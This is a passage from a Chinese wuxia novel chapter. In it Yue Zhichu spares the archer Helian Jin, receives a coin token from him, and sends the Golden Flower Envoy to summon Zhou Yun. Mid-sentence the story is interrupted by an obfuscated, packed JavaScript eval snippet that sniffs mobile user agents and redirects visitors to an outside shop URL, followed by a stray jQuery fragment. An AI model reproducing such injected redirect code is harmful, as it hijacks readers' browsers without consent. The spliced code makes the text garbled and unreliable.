“我输了。”
赫连瑾嘴上噙着笑,话却说得真诚。
被剑指着眉心,他脸上也不见慌乱。
他只是定定地看着越知初的眼睛。
她蒙着面,看不到脸,可他能看出,那是一双熠熠生辉的眼睛。
而她看他的眼神,又似厌烦,又似轻蔑,就是没有一丝惧怕或动摇。
赫连瑾从没有在女子脸上,见过这样的眼神。
越知初倒是疑惑了一瞬。
如果他继续纠缠不清,她是决意杀他的。
可他如此坦荡,又不曾与她殊死相搏,她反而有点欣赏他了。
她一向欣赏识时务的人。
于是,她话锋一转,问道:“你输了,当如何?”
赫连瑾的眼睛骤然亮了,他爽朗地答:“我输了,自然不再干涉你的行动。要杀要剐,悉听尊便。”
要杀要剐?
他还真敢说啊。
越知初想,若真要在此决出生死,赫连瑾也并毫无还手之力。
弓箭作为武器,近身搏斗虽无胜算,可据传,他的轻功“振鹰回”,天下间只输池仲灵一人,若他真想逃脱,或拉开距离,完全有机会做到。
他这么说,无非是试探她的来意。
越知初不想再浪费时间,她直接说道:“你若不干涉我,你我便各走各的路,相安无事。只是你既输了,不如回答我两个问题。”
赫连瑾闻言,竟然将手中的长弓收回背上。
他就在越知初的剑锋下,悠闲地调整了站姿,两手空空地与她对视。
他这是答应了。
越知初没有轻易收剑,只是静静地等他开口。
“行,你问吧。”
赫连瑾好整以暇地看着她。
就像,真的在履行和她的“赌约”。
尽管越知初方才,根本没有答应同他“打赌”。
但她也不客气,直接问:“一,这户人家的主人是谁?为何,你……会到此赴宴?”
她说“你”的时候,语气明显顿了一顿。
赫连瑾却十分惊喜:“你认识我?”
越知初皱眉,将剑提了提:“是我在问你。”
赫连瑾又笑:“是。可你既认识我,竟不识这家主人,还真是有意思。”
见越知初怒目横眉,他又接着说:“这里,是禹州祝家。”
祝?
越知初略想了想,她并不认识。
但她并不在意。
只要不是姓谢,她无意深究。
于是,还没等赫连瑾回答他为何在此,她就急忙问出了下一个问题:“二,是不是你们云赫镖局的人,抓走了宅自逍?”
这次,赫连瑾倒是沉默了。
月光下,越知初可以看清他的脸。
这人长着十分立体的五官,面容也十分硬朗,整个人不说话时,还透着一股从容的自信。
赫连瑾思忖了半晌,才谨慎地说:“要让小娘子失望了,这个问题……我不能回答你。”
越知初并不意外。
事实上,他这样的答案,也算是有了答案。
她俐落地收回软剑:“好,那我接着做我的梁上君子,你去赴你的宴。咱们便各走各的,君子一言。”
赫连瑾见她要走,连忙又说:“等一下。”
越知初疑惑地停住脚步。
赫连瑾居然从腰间,掏出了一个东西递给她。
她还没看清那是什么,赫连瑾又郑重其事地说:“愿赌服输,我没答上你的问题,你却要放我走,算我欠你个人情。若他日你有需要,只管携此物来云赫镖局,我定全力相助。”
越知初还在惊讶,赫连瑾已经抱拳离开,红色的身影很快便消失不见。
她低头看向手里的东西——
是一枚铜钱。
形制酷似江遇找到的那枚金丝镖,但比那枚大了不少,且并非暗器。
若说独特之处,这枚铜钱上没有方孔,而是在正中央的位置,用金丝烫了一个“瑾”字。
与其说,这是一枚钱币。
不如说,倒更像是一个令牌。
越知初站在屋檐上,看向祝家的院子,里面的红灯笼依旧抢眼,红绸飞舞如初。
刚才的一切,仿佛没有发生过。
她将软剑和铜钱都收入腰间,起身往下一个院子跃去。
接连从西边,一路查看到东边,越知初没有再发现可疑的院子。
她坐在西街末尾,最后一户人家的屋檐上,望着月色陷入了沉思。
没有……
没有看起来非比寻常的院子,也没有闻到可疑的香气和药味。
甚至除了赫连瑾,也没有再出现
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588339|143173||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,疑似护院的人,出来拦截她。
那么,谢轩……
或者说,凌轩门的驻地,果然也不在西街?
越知初正想着,突然一个身影跃至她身旁。
来人穿着和时冬夏相似的黑色斗篷,只是斗篷的帽檐处,绣了一只金色的蜜蜂图样。
她笑了笑:“竟然被你找到这儿了。”
金花使者恭敬行了一礼:“小姐,我沿着标记一路寻到客栈,只是小姐已不在房中。我便一路在西街找了找,不想真的找到了小姐。”
越知初脸上还蒙着墨绿色的衣料,心里却觉得金花使者的嗓音十分动听。
这还是她第一次和金花使者直接碰面,没想到对方竟然也是女子。
她朗声称赞道:“一直听小遇说,金花使者的传信速度,天下无双。没想到,追踪也很有本事。”
金花使者微微低头:“小姐过奖了。小姐有何吩咐?”
“我想,见一见周运。”
越知初从客栈出来前,原定的计划就是,好好盘问那个周运。
可能的话,利用他找到谢轩。
毕竟,凌轩门的人,伤了江遇。
而她这个人,护短。
谁敢伤她的人,谁就要付出代价。
金花使者又问:“小姐,是今夜就想见他么?”
越知初想了想,忽然有了另一个打算。
她站起身,对金花使者道:“不急,明日吧。明日辰时,我在莲云斋门口等他。”
金花使者素来雷厉风行,立刻回了个“是。”
越知初补了一句:“这两日的事,先别告诉小遇。”
越知初知道,虽然她作为“虫”的头领,“虫”的成员,无不唯她马首是瞻。
但金花使者特别一些,她们几乎都由江遇亲自培养,一贯都只遵从江遇的命令行事,没准会用蜜蜂给他传信。
果然,眼见金花使者略有迟疑,越知初解释道:“过几日,我会告诉他的。他要养伤,我不想他再劳心。”
金花使者闻言,身形微微一顿,随即果断应道:“是!”
越知初看着她领命后疾速离去,心里很是欣慰:可以啊小遇,已经有了可靠的帮手。
至于她自己……
长夜漫漫,反正谢家的下落尚未找到,她决定再回那祝家大院,看看热闹。